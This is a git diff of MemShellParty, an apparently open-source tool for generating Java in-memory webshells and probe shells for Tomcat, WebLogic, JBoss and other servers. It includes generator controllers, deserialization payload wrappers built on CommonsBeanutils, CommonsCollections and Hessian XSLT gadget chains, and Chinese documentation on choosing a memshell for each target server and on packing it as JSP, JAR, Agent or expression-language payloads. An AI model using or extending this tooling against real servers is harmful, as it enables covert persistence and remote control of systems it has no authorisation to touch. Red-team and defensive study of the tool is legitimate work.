package com.reajason.javaweb.boot;
import com.reajason.javaweb.memshell.Server;
import lombok.extern.slf4j.Slf4j;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import java.util.Arrays;
/**
* @author ReaJason
*/
@@ -16,8 +13,5 @@ public class BootApplication {
public static void main(String[] args) {
SpringApplication.run(BootApplication.class, args);
Server[] values = Server.values();
log.info("Supported servers: {}", Arrays.toString(values));
log.info("For another server, you can open a issue in GitHub, https://github.com/ReaJason/MemShellParty/issues/new?template=%E8%AF%B7%E6%B1%82%E9%80%82%E9%85%8D.md");
}
}
@@ -1,10 +1,13 @@
package com.reajason.javaweb.boot.api;
import com.reajason.javaweb.GenerationException;
import lombok.extern.slf4j.Slf4j;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.ExceptionHandler;
import org.springframework.web.bind.annotation.ResponseStatus;
import org.springframework.web.bind.annotation.RestControllerAdvice;
import org.springframework.web.servlet.resource.NoResourceFoundException;
/**
* @author ReaJason
@@ -13,10 +16,23 @@ import org.springframework.web.bind.annotation.RestControllerAdvice;
@RestControllerAdvice
@Slf4j
public class GlobalExceptionHandler {
@ResponseStatus(HttpStatus.NOT_FOUND)
@ExceptionHandler(NoResourceFoundException.class)
public ResponseEntity<?> handleNoResourceException() {
return ResponseEntity.status(HttpStatus.NOT_FOUND).build();
}
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
@ExceptionHandler(GenerationException.class)
public ErrorResponse handleGenerationException(GenerationException exception) {
return new ErrorResponse(exception.getMessage());
}
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
@ExceptionHandler(Throwable.class)
public ErrorResponse handleThrowable(Throwable throwable) {
log.error("请求出错", throwable);
log.error("Internal Exception", throwable);
return new ErrorResponse(throwable.getMessage());
}
}
@@ -1,11 +1,11 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.vo.CommandConfigVO;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.server.AbstractShell;
import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.packer.Packers;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
@@ -25,11 +25,10 @@ public class ConfigController {
@RequestMapping("/servers")
public Map<String, List<String>> getServers() {
Map<String, List<String>> servers = new LinkedHashMap<>();
for (Server server : Server.values()) {
if (server.getShell() != null) {
Set<String> supportedShellTypes = server.getShell().getShellInjectorMapping().getSupportedShellTypes();
servers.put(server.name(), supportedShellTypes.stream().toList());
}
List<String> supportedServers = ServerFactory.getSupportedServers();
for (String supportedServer : supportedServers) {
Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer).getShellInjectorMapping().getSupportedShellTypes();
servers.put(supportedServer, supportedShellTypes.stream().toList());
}
return servers;
}
@@ -44,20 +43,21 @@ public class ConfigController {
@RequestMapping
public Map<String, Map<?, ?>> config() {
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
for (Server value : Server.values()) {
AbstractShell shell = value.getShell();
if (shell == null) {
List<String> supportedServers = ServerFactory.getSupportedServers();
for (String supportedServer : supportedServers) {
AbstractServer server = ServerFactory.getServer(supportedServer);
if (server == null) {
continue;
}
Map<String, Set<String>> map = new LinkedHashMap<>(16);
for (ShellTool shellTool : shell.getSupportedShellTools()) {
Set<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
for (ShellTool shellTool : server.getSupportedShellTools()) {
Set<String> supportedShellTypes = server.getSupportedShellTypes(shellTool);
if (supportedShellTypes.isEmpty()) {
continue;
}
map.put(shellTool.name(), supportedShellTypes);
}
coreMap.put(value.name(), map);
coreMap.put(supportedServer, map);
}
return coreMap;
}
@@ -1,40 +0,0 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.dto.GenerateRequest;
import com.reajason.javaweb.boot.dto.GenerateResponse;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.packer.AggregatePacker;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
import org.springframework.web.bind.annotation.*;
import java.util.Base64;
/**
* @author ReaJason
* @since 2024/12/18
*/
@RestController
@RequestMapping("/generate")
@CrossOrigin("*")
public class GeneratorController {
@PostMapping
public GenerateResponse generate(@RequestBody GenerateRequest request) {
ShellConfig shellConfig = request.getShellConfig();
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
InjectorConfig injectorConfig = request.getInjectorConfig();
GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
Packer packer = request.getPacker().getInstance();
if (packer instanceof JarPacker) {
return new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult)));
} else if (packer instanceof AggregatePacker) {
return new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult));
} else {
return new GenerateResponse(generateResult, packer.pack(generateResult));
}
}
}
@@ -0,0 +1,40 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.jar.JarPacker;
import org.springframework.web.bind.annotation.*;
import java.util.Base64;
/**
* @author ReaJason
* @since 2024/12/18
*/
@RestController
@RequestMapping("/memshell/generate")
@CrossOrigin("*")
public class MemShellGeneratorController {
@PostMapping
public MemShellGenerateResponse generate(@RequestBody MemShellGenerateRequest request) {
ShellConfig shellConfig = request.getShellConfig();
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
InjectorConfig injectorConfig = request.getInjectorConfig();
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
Packer packer = request.getPacker().getInstance();
if (packer instanceof JarPacker) {
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
} else if (packer instanceof AggregatePacker) {
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
} else {
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
}
}
}
@@ -0,0 +1,33 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.dto.ProbeShellGenerateRequest;
import com.reajason.javaweb.boot.dto.ProbeShellGenerateResponse;
import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.probe.ProbeShellGenerator;
import com.reajason.javaweb.probe.ProbeShellResult;
import com.reajason.javaweb.probe.config.ProbeConfig;
import com.reajason.javaweb.probe.config.ProbeContentConfig;
import org.springframework.web.bind.annotation.*;
/**
* @author ReaJason
* @since 2025/8/10
*/
@RestController
@RequestMapping("/probe/generate")
@CrossOrigin("*")
public class ProbeShellGeneratorController {
@PostMapping
public ProbeShellGenerateResponse generate(@RequestBody ProbeShellGenerateRequest request) {
ProbeConfig probeConfig = request.getProbeConfig();
ProbeContentConfig probeContentConfig = request.parseProbeContentConfig();
ProbeShellResult generateResult = ProbeShellGenerator.generate(probeConfig, probeContentConfig);
Packer packer = request.getPacker().getInstance();
if (packer instanceof AggregatePacker) {
return new ProbeShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
} else {
return new ProbeShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
}
}
}
@@ -1,29 +0,0 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.Data;
import lombok.NoArgsConstructor;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/18
*/
@Data
@NoArgsConstructor
public class GenerateResponse {
private GenerateResult generateResult;
private String packResult;
private Map<String, String> allPackResults;
public GenerateResponse(GenerateResult generateResult, String packResult) {
this.generateResult = generateResult;
this.packResult = packResult;
}
public GenerateResponse(GenerateResult generateResult, Map<String, String> allPackResults) {
this.allPackResults = allPackResults;
this.generateResult = generateResult;
}
}
@@ -1,8 +1,8 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.Data;
import org.apache.commons.lang3.StringUtils;
@@ -11,7 +11,7 @@ import org.apache.commons.lang3.StringUtils;
* @since 2024/12/18
*/
@Data
public class GenerateRequest {
public class MemShellGenerateRequest {
private ShellConfig shellConfig;
private ShellToolConfigDTO shellToolConfig;
private InjectorConfig injectorConfig;
@@ -0,0 +1,29 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.memshell.MemShellResult;
import lombok.Data;
import lombok.NoArgsConstructor;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/18
*/
@Data
@NoArgsConstructor
public class MemShellGenerateResponse {
private MemShellResult memShellResult;
private String packResult;
private Map<String, String> allPackResults;
public MemShellGenerateResponse(MemShellResult memShellResult, String packResult) {
this.memShellResult = memShellResult;
this.packResult = packResult;
}
public MemShellGenerateResponse(MemShellResult memShellResult, Map<String, String> allPackResults) {
this.allPackResults = allPackResults;
this.memShellResult = memShellResult;
}
}
@@ -0,0 +1,44 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.config.*;
import lombok.Data;
/**
* @author ReaJason
* @since 2025/8/10
*/
@Data
public class ProbeShellGenerateRequest {
private ProbeConfig probeConfig;
private ProbeContentConfigDTO probeContentConfig;
private Packers packer;
@Data
static class ProbeContentConfigDTO {
private String host;
private int seconds;
private String server;
private String sleepServer;
private String reqParamName;
private String reqHeaderName;
}
public ProbeContentConfig parseProbeContentConfig() {
return switch (probeConfig.getProbeMethod()) {
case DNSLog -> DnsLogConfig.builder()
.host(probeContentConfig.host)
.build();
case Sleep -> SleepConfig.builder()
.seconds(probeContentConfig.seconds)
.server(probeContentConfig.sleepServer)
.build();
case ResponseBody -> ResponseBodyConfig.builder()
.reqParamName(probeContentConfig.reqParamName)
.reqHeaderName(probeContentConfig.reqHeaderName)
.server(probeContentConfig.server)
.build();
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
};
}
}
@@ -0,0 +1,29 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.probe.ProbeShellResult;
import lombok.Data;
import lombok.NoArgsConstructor;
import java.util.Map;
/**
* @author ReaJason
* @since 2025/8/10
*/
@Data
@NoArgsConstructor
public class ProbeShellGenerateResponse {
private ProbeShellResult probeShellResult;
private String packResult;
private Map<String, String> allPackResults;
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, String packResult) {
this.probeShellResult = probeShellResult;
this.packResult = packResult;
}
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, Map<String, String> allPackResults) {
this.allPackResults = allPackResults;
this.probeShellResult = probeShellResult;
}
}
@@ -7,5 +7,5 @@ repositories {
}
dependencies {
implementation("com.vanniktech:gradle-maven-publish-plugin:0.32.0")
implementation("com.vanniktech:gradle-maven-publish-plugin:0.34.0")
}
+1
View File
@@ -0,0 +1 @@
rootProject.name = "build-logic"
@@ -1,11 +1,9 @@
import com.vanniktech.maven.publish.SonatypeHost
plugins {
id("com.vanniktech.maven.publish")
}
mavenPublishing {
publishToMavenCentral(SonatypeHost.CENTRAL_PORTAL)
publishToMavenCentral(true)
signAllPublications()
coordinates(
"io.github.reajason",
+12 -15
View File
@@ -1,21 +1,18 @@
plugins {
id("java")
id("idea")
}
version = "1.10.0"
idea {
module {
excludeDirs.add(file("src"))
}
}
version = "2.0.0"
tasks.register("publishAllToMavenCentral") {
val isSnapshot = rootProject.version.toString().endsWith("-SNAPSHOT")
if (isSnapshot) {
dependsOn(":memshell-party-bom:publishAllPublicationsToMavenCentralRepository")
dependsOn(":memshell-party-common:publishAllPublicationsToMavenCentralRepository")
dependsOn(":deserialize:publishAllPublicationsToMavenCentralRepository")
dependsOn(":memshell:publishAllPublicationsToMavenCentralRepository")
dependsOn(":generator:publishAllPublicationsToMavenCentralRepository")
} else {
dependsOn(":memshell-party-bom:publishAndReleaseToMavenCentral")
dependsOn(":memshell-party-common:publishAndReleaseToMavenCentral")
dependsOn(":deserialize:publishAndReleaseToMavenCentral")
dependsOn(":memshell:publishAndReleaseToMavenCentral")
dependsOn(":generator:publishAndReleaseToMavenCentral")
}
dependsOn(":memshell-party-common:publishToMavenCentral")
dependsOn(":packer:publishToMavenCentral")
dependsOn(":generator:publishToMavenCentral")
}
@@ -1,12 +0,0 @@
package com.reajason.javaweb.deserialize;
import lombok.Data;
/**
* @author ReaJason
* @since 2024/12/13
*/
@Data
public class DeserializeConfig {
private PayloadType payloadType;
}
@@ -1,24 +0,0 @@
package com.reajason.javaweb.deserialize;
import com.caucho.hessian.io.Hessian2Output;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class Hessian2DeserializeGenerator {
@SneakyThrows
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
PayloadType payloadType = config.getPayloadType();
Object obj = payloadType.getPayload().generate(bytes, className);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(bos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(obj);
hessian2Output.close();
return bos.toByteArray();
}
}
@@ -1,24 +0,0 @@
package com.reajason.javaweb.deserialize;
import com.caucho.hessian.io.HessianOutput;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class HessianDeserializeGenerator {
@SneakyThrows
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
PayloadType payloadType = config.getPayloadType();
Object obj = payloadType.getPayload().generate(bytes, className);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(bos);
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
hessianOutput.writeObject(obj);
hessianOutput.close();
return bos.toByteArray();
}
}
@@ -1,25 +0,0 @@
package com.reajason.javaweb.deserialize;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class JavaDeserializeGenerator {
@SneakyThrows
public static byte[] generate(byte[] bytes, DeserializeConfig config) {
PayloadType payloadType = config.getPayloadType();
Object obj = payloadType.getPayload().generate(bytes);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.flush();
oos.close();
return baos.toByteArray();
}
}
@@ -1,28 +0,0 @@
package com.reajason.javaweb.deserialize;
/**
* @author ReaJason
* @since 2024/12/13
*/
public interface Payload {
/**
* 将恶意类字节流封装成序列化对象
*
* @param bytes 恶意类字节流
* @return 序列化对象
*/
default Object generate(byte[] bytes) {
throw new UnsupportedOperationException();
}
/**
* 将恶意类字节流封装成序列化对象
*
* @param bytes 恶意类字节流
* @param className 恶意类名
* @return 序列化对象
*/
default Object generate(byte[] bytes, String className) {
throw new UnsupportedOperationException();
}
}
@@ -1,47 +0,0 @@
package com.reajason.javaweb.deserialize;
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
import com.reajason.javaweb.deserialize.payload.java.*;
import lombok.Getter;
/**
* @author ReaJason
* @since 2024/12/13
*/
@Getter
public enum PayloadType {
/**
* CB 链
*/
CommonsBeanutils16(new CommonsBeanutils16()),
CommonsBeanutils18(new CommonsBeanutils18()),
CommonsBeanutils19(new CommonsBeanutils19()),
CommonsBeanutils110(new CommonsBeanutils110()),
/**
* CC 链
*/
CommonsCollections3(new CommonCollections3()),
CommonsCollections4(new CommonCollections4()),
/**
* Hessian XSLT write
*/
XSLTScriptEngine(new XSLTScriptEngine())
;
private final Payload payload;
PayloadType(Payload payload) {
this.payload = payload;
}
public static PayloadType getPayloadType(String payloadType) {
for (PayloadType value : values()) {
if (value.name().equals(payloadType)) {
return value;
}
}
throw new IllegalArgumentException("unknown payload type: " + payloadType);
}
}
+106
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@@ -0,0 +1,106 @@
## 本地构建
### 源代码构建
> 适合想编写代码的小伙伴,使用 Git Clone 下载到本地,并构建前后端项目以供使用
首先需要下载 [bun](https://bun.sh/),这是一款用于构建前端服务的工具。
1. 使用 Git Clone 项目
```bash
git clone https://github.com/ReaJason/MemShellParty.git
```
2. 构建前端项目,build 结束会将静态资源自动移动到 Spring Boot 中以供使用
```bash
cd MemShellParty/web
bun install
bun run build
```
3. 构建后端项目,确保使用 JDK17 环境
```bash
cd MemShellParty/boot
./gradlew :boot:bootjar -x test
```
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
```bash
cd MemShellParty/boot
java -jar \
--add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
build/libs/boot-1.0.0.jar
```
也可这基础上再继续构建容器来使用
```bash
cd MemShellParty/boot
docker buildx build -t memshell-party:latest . --load
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
```
### Dockerfile 一键构建
> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44)
下载项目根目录的 [Dockerfile](./Dockerfile)
- VERSION: 版本信息,随意,建议用最新的 tag 号,仅作前端展示
- ROUTE_ROOT_PATH: 前端根路由配置
- CONTEXT_PATH: 后端访问前缀
```bash
# 基础构建
docker buildx build \
--build-arg VERSION=1.6.0 \
-t memshell-party:latest . --load
# 基础镜像启动,访问 127.0.0.1:8080
docker run -it -d -p 8080:8080 memshell-party:latest
# 自定义访问路径构建
docker buildx build \
--build-arg VERSION=1.6.0 \
--build-arg ROUTE_ROOT_PATH=/memshell-party \
--build-arg CONTEXT_PATH=/memshell-party \
-t memshell-party:latest . --load
# 自定义路径构建镜像启动,访问 127.0.0.1:8080/memshell-party
docker run -it -p 8080:8080 \
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
memshell-party:latest
```
如果需要使用 NGINX 反代,请先使用自定义访问路径构建容器,并配置 NGINX 如下:
其中 `location /memshell-party``ROUTE_ROOT_PATH=/memshell-party``CONTEXT_PATH=/memshell-party`
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` 都要一致才行。
```text
location /memshell-party {
proxy_pass http://127.0.0.1:8080;
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-By $server_addr:$server_port;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_http_version 1.1;
proxy_connect_timeout 3s;
proxy_read_timeout 300s;
proxy_send_timeout 300s;
proxy_buffer_size 16k;
proxy_buffers 8 64k;
proxy_busy_buffers_size 128k;
}
```
+84
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@@ -0,0 +1,84 @@
## 适配情况
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
### 中间件以及框架
| Tomcat5 ~ 11 | Jetty6 ~ 11 | GlassFish3 ~ 7 | Payara5 ~ 6 |
|----------------------|------------------------|----------------------|----------------------|
| Servlet | Servlet | Filter | Filter |
| Filter | Filter | Listener | Listener |
| Listener | Listener | Valve | Valve |
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
| ProxyValve | | | |
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
| ContextValve - Agent | | | |
| Resin3 ~ 4 | SpringMVC | SpringWebFlux | XXL-JOB |
|---------------------|--------------------------|-----------------|--------------|
| Servlet | Interceptor | WebFilter | NettyHandler |
| Filter | ControllerHandler | HandlerMethod | |
| Listener | FrameworkServlet - Agent | HandlerFunction | |
| FilterChain - Agent | | NettyHandler | |
| JBossAS4 ~ 7 | JBossEAP6 ~ 7 | WildFly9 ~ 30 | Undertow |
|----------------------|----------------------------|------------------------|------------------------|
| Filter | Filter | Servlet | Servlet |
| Listener | Listener | Filter | Filter |
| Valve | Valve(6) | Listener | Listener |
| ProxyValve | | | |
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
| ContextValve - Agent | ContextValve - Agent (6) | | |
| | ServletHandler - Agent (7) | | |
| WebSphere7 ~ 9 | WebLogic 10.3.6 ~ 14 |
|-----------------------|-------------------------|
| Servlet | Servlet |
| Filter | Filter |
| Listener | Listener |
| FilterManager - Agent | ServletContext - Agent |
| BES9.5.x | TongWeb6 ~ 8 | InforSuite AS 9 ~ 10 |
|----------------------|----------------------|------------------------|
| Filter | Filter | Filter |
| Listener | Listener | Listener |
| Valve | Valve | Valve |
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
| Apusic AS 9 ~ 10 | Primeton6.5 |
|---------------------|----------------------|
| Servlet | Filter |
| Filter | Listener |
| Listener | Valve |
| FilterChain - Agent | FilterChain - Agent |
| | ContextValve - Agent |
### 内存马功能
- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
- [x] 命令执行
- [x] [Suo5](https://github.com/zema1/suo5)
- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
- [x] Custom
### 封装方式
- [x] BASE64
- [x] GZIP BASE64
- [x] JSP
- [x] JSPX
- [x] JAR
- [x] BCEL
- [x] 内置脚本引擎、Rhino 脚本引擎
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
- [x] Velocity、Freemarker、JinJava
- [x] 原生反序列化(CB 和 CC 链)
- [x] Agent
- [x] XXL-JOB Executor
- [x] Hessian、Hessian2 反序列化(XSLT链)
- [ ] JNDI
- [ ] JDBC 连接
- [ ] 其他常见反序列化
+2 -2
View File
@@ -213,7 +213,7 @@ Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
| Listener | Listener |
| FilterManager - Agent | ServletContext - Agent |
| BES9.5.x | TongWeb6 ~ 7 | InforSuite AS 9 ~ 10 |
| BES9.5.x | TongWeb6 ~ 8 | InforSuite AS 9 ~ 10 |
|----------------------|----------------------|------------------------|
| Filter | Filter | Filter |
| Listener | Listener | Listener |
@@ -221,7 +221,7 @@ Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
| Apusic AS 9 | Primeton6.5 |
| Apusic AS 9 ~ 10 | Primeton6.5 |
|---------------------|----------------------|
| Servlet | Filter |
| Filter | Listener |
+130
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@@ -0,0 +1,130 @@
# Java 服务简介
以下服务仅我个人遇到的一些场景,与实际攻防场景可能仍有差距,但是在 MemShellParty
中可用于参考进行内存马生成。个别其他服务还请自行辨别其服务类型。如果有其他环境补充,欢迎 PR 交流学习~
## Tomcat
> https://tomcat.apache.org/
Tomcat 使用的是自己 Catalina 模块提供的 Servlets 实现,限制较少,在 MemShellParty 中,服务类型选 Tomcat 即可生成 Tomcat
内存马。
一般而言,SpringWebMVC 项目大多使用 Tomcat 提供 Servlets 容器功能,比如 Nacos,这种情况下可以选择 Tomcat 内存马注入。
其他服务中,致远 OA、Confluence、帆软使用的是 Tomcat。
## Jetty
> https://jetty.org/
Jetty6 版本使用的包名为 `org.mortbay.jetty`,而 7 以上使用的是 `org.eclipse.jetty`,在测试最新的 Jenkins 时,发现 Jetty11+
版本支持 ee8 ~ ee10 的环境,包名对应的是 `org.eclipse.jetty.ee8`,这些在 MemShellParty 中均已支持,因此服务类型选 Jetty
即可生成 Jetty 内存马。
在 SpringWebMVC 项目中也是有可能使用的。
## JBoss
> JBossAS: https://jbossas.jboss.org/downloads
> JBossEAP: https://developers.redhat.com/products/eap/download
JBoss 分为 JBossAS 和 JBossEAPJBossAS 全版本和 JBossEAP6 使用的 Catalina 模块提供的 Servlets 实现,JBossEAP7 及其以上使用的
[Undertow](https://undertow.io/) 提供的 Servlets 实现。
因此 JBossAS 4~7 以及 JBossEAP6 服务类型选择 JBoss 进行内存马的生成,而 JBossEAP7 服务类型需要选择
Undertow 进行内存马的生成。
## Wildfly
> https://www.wildfly.org/
Wildfly 使用的 [Undertow](https://undertow.io/) 提供的 Servlets 实现,因此服务类型选择 Undertow 生成内存马
## GlassFish
> https://glassfish.org/
GlassFish 使用的是 Catalina 提供的 Servlets 实现,但是使用了 OSGI 类加载模式,因此类限制较为严重,在 MemShellParty 中,服务类型选择
GlassFish 进行内存马的生成。
## Payara
> https://www.payara.fish/downloads/
基于 GlassFish 开发,服务类型选择 GlassFish 进行内存马的生成。
## Resin
> https://caucho.com/products/resin/download
Resin 使用的包名为 `com.caucho.`,服务类型选择 Resin 进行内存马的生成。
泛微 OA 使用的就是 Resin 提供的服务。
## WebLogic
> https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
WebLogic 使用的包名为 `weblogic.`,服务类型选择 WebLogic 进行内存马的生成。
## WebSphere
> https://www.ibm.com/products/websphere-application-server
WebSphere 是 IBM 研发的商用 Servlets 容器,开源版本为 Websphere liberty
包名为 `com.ibm.`,服务类型选择 WebSphere 进行内存马的生成。
## BES
> https://www.bessystem.com/
BES 宝兰德,其基于 Tomcat 进行二开,在 BES 9.5.1 版本中没有进行包名修改,而在 BES 9.5.2
版本之后包名修改为了 `com.bes.enterprise.`。因此 BES 9.5.1 版本,服务类型选择 Tomcat 进行内存马的生成,BES 9.5.2+ 服务类型选择
BES 进行内存马的生成。
## TongWeb
> https://www.tongtech.com/sy.html
TongWeb 东方通,其基于 Tomcat 进行二开,并且在最初的 6 版本就进行了包名修改,每个版本都进行了修改。
- TongWeb6: `com.tongweb.web.thor.`
- TongWeb7: `com.tongweb.catalina.`
- TongWeb8: `com.tongweb.server.`
这三个版本在 MemShellParty 中均有适配,服务类型选择 TongWeb 进行内存马的生成。
## Apusic
> https://www.apusic.com/
金蝶中间件,Apusic9 疑似魔改自 GlassFish,不过改得面目全非了,自 Apusic10 开始使用原版 GlassFish 进行二开。因此 Apusic9
版本服务类型选择
Apusic 进行内存马生成,Apusic10 版本选择 GlassFish 进行内存马生成。
## Primeton
> https://www.primeton.com/products/pas/
普元中间件,Primeton6.5 版本基于 GlassFish
二开,高版本疑似做了包名修改,但没有环境,因此暂未适配([#60](https://github.com/ReaJason/MemShellParty/issues/60))因此当前仅支持
Primeton6.5 版本,服务类型选择 GlassFish 进行内存马生成。
## InforSuite
中创中间件,InforSuite 基于 GlassFish 进行二开,不过因为 InforSuite10 版本针对 filterConfigs 字段做了手脚改成了
iasFilterConfigs 因此 Filter 注入单独进行了适配。服务类型选择 InforSuite 进行内存马注入。
## SpringWebMVC
Spring 框架,默认的 MVC 架构,官方 Servlets 容器实现可选 Tomcat、Jetty 与 Undertow,也可打包成 war 包部署于任意 Servlets
容器上。内存马注入场景下不推荐框架内存马,而是具体的 Servlets 容器内存马,因为可绕过框架的限制(鉴权或其他)。服务类型选择
SpringWebMVC 进行内存马生成。
## SpringWebFlux
Spring Boot 项目中基于 reactor 异步 IO 模型的服务组件,底层使用的 Netty,一般常见于各种 SpringCloud 项目,例如网关。服务类型选择
SpringWebFlux 进行内存马生成。
+20 -1
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@@ -18,8 +18,27 @@
<dependency>
<groupId>io.github.reajason</groupId>
<artifactId>generator</artifactId>
<version>1.8.0</version>
<version>2.0.0-SNAPSHOT</version>
</dependency>
<dependency>
<groupId>io.github.reajason</groupId>
<artifactId>packer</artifactId>
<version>2.0.0-SNAPSHOT</version>
</dependency>
</dependencies>
<!-- 使用 SNAPSHOT 版本,才需要下面这块 -->
<repositories>
<repository>
<name>Central Portal Snapshots</name>
<id>central-portal-snapshots</id>
<url>https://central.sonatype.com/repository/maven-snapshots/</url>
<releases>
<enabled>false</enabled>
</releases>
<snapshots>
<enabled>true</enabled>
</snapshots>
</repository>
</repositories>
</project>
@@ -0,0 +1,32 @@
package com.reajason.javaweb;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.ProbeContent;
import com.reajason.javaweb.probe.ProbeMethod;
import com.reajason.javaweb.probe.ProbeShellGenerator;
import com.reajason.javaweb.probe.ProbeShellResult;
import com.reajason.javaweb.probe.config.DnsLogConfig;
import com.reajason.javaweb.probe.config.ProbeConfig;
/**
* @author ReaJason
* @since 2025/8/13
*/
public class DnsLogProbe {
public static void main(String[] args) {
ProbeConfig probeConfig = ProbeConfig.builder()
.probeMethod(ProbeMethod.DNSLog)
.probeContent(ProbeContent.Server) // 暂只支持 Server 和 JDK
.shrink(true)
.debug(false)
.build();
DnsLogConfig dnsLogConfig = DnsLogConfig.builder()
